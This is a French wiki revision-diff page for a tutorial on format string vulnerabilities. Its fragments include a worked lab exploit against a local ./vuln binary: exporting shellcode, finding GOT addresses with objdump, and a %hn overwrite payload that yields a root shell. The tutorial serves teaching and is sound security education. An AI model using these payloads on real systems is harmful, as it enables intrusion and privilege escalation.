Outils d'utilisateurs

Outils du Site


failles_app:format_string

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_app:format_string [2012/06/27 09:59]
ezano [Introduction]
failles_app:format_string [2017/04/09 15:33] (Version actuelle)
Ligne 7: Ligne 7:
  Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris.  Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris.
  
-\\ +======= SOMMAIRE =======
- +
-SOMMAIRE +
----- +
- +
-\\+
  
   * 1 Rappels sur les fonctions de la famille printf()   * 1 Rappels sur les fonctions de la famille printf()
Ligne 36: Ligne 31:
       * 4.1.2 Section GOT       * 4.1.2 Section GOT
     * 4.2 Pratique     * 4.2 Pratique
 +  * 5 Ressources
 +
 +\\
 +
 ======= 1 Rappels sur les fonctions de la famille printf() ======= ======= 1 Rappels sur les fonctions de la famille printf() =======
 ====== 1.1 Comportement global ====== ====== 1.1 Comportement global ======
Ligne 145: Ligne 144:
  
 <file X Terminal> <file X Terminal>
-[root@VmZenk:~/tests]$ ./vuln %x%x%x%x +[root@VmZenk:~/tests]$ ./vuln "%08x %08x %08x %08x" 
-bffffea23fff078257825+bffffea2 000003ff 000000f0 78257825
 </file> </file>
  
-Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués.+Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. %08x demande au formateur %x d'afficher la donnée sous la forme d'un nombre décimal de 8 caractère maximum précédé de 0. 
 +Voyons ça avec une petite représentation de la pile. 
  
                   PILE                   PILE
Ligne 584: Ligne 585:
 ------------------------------------------------------------------------------- -------------------------------------------------------------------------------
  
-//On exporte le shellcode...+//On exporte le shellcode...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb
Ligne 592: Ligne 593:
  
  
-//On determine l'adresse...+//On determine l'adresse...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln
Ligne 599: Ligne 600:
  
  
-//On fais les calculs nécessaire pour la réecriture d'adresse...+//On fais les calculs nécessaire pour la réecriture d'adresse...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian
Ligne 616: Ligne 617:
  
  
-//On désassemble la GOT (beaucoup de methodes possible)+//On désassemble la GOT (beaucoup de methodes possible)//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ objdump -R ./vuln ezano@Practice:~/Hacking $ objdump -R ./vuln
Ligne 632: Ligne 633:
 </file> </file>
  
-//On exploite...+//On exploite...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn
 +sh-3.2#
 </file> </file>
- 
 w00t. w00t.
-<file X Terminal> 
-sh-3.2# 
-</file> 
- 
- 
- 
- 
- 
- 
  
 +======= 5 Ressources =======
  
 +[[http://julianor.tripod.com/bc/formatstring-1.2.pdf|Exploiting Format String Vulnerability]]
  
  
failles_app/format_string.1340783957.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)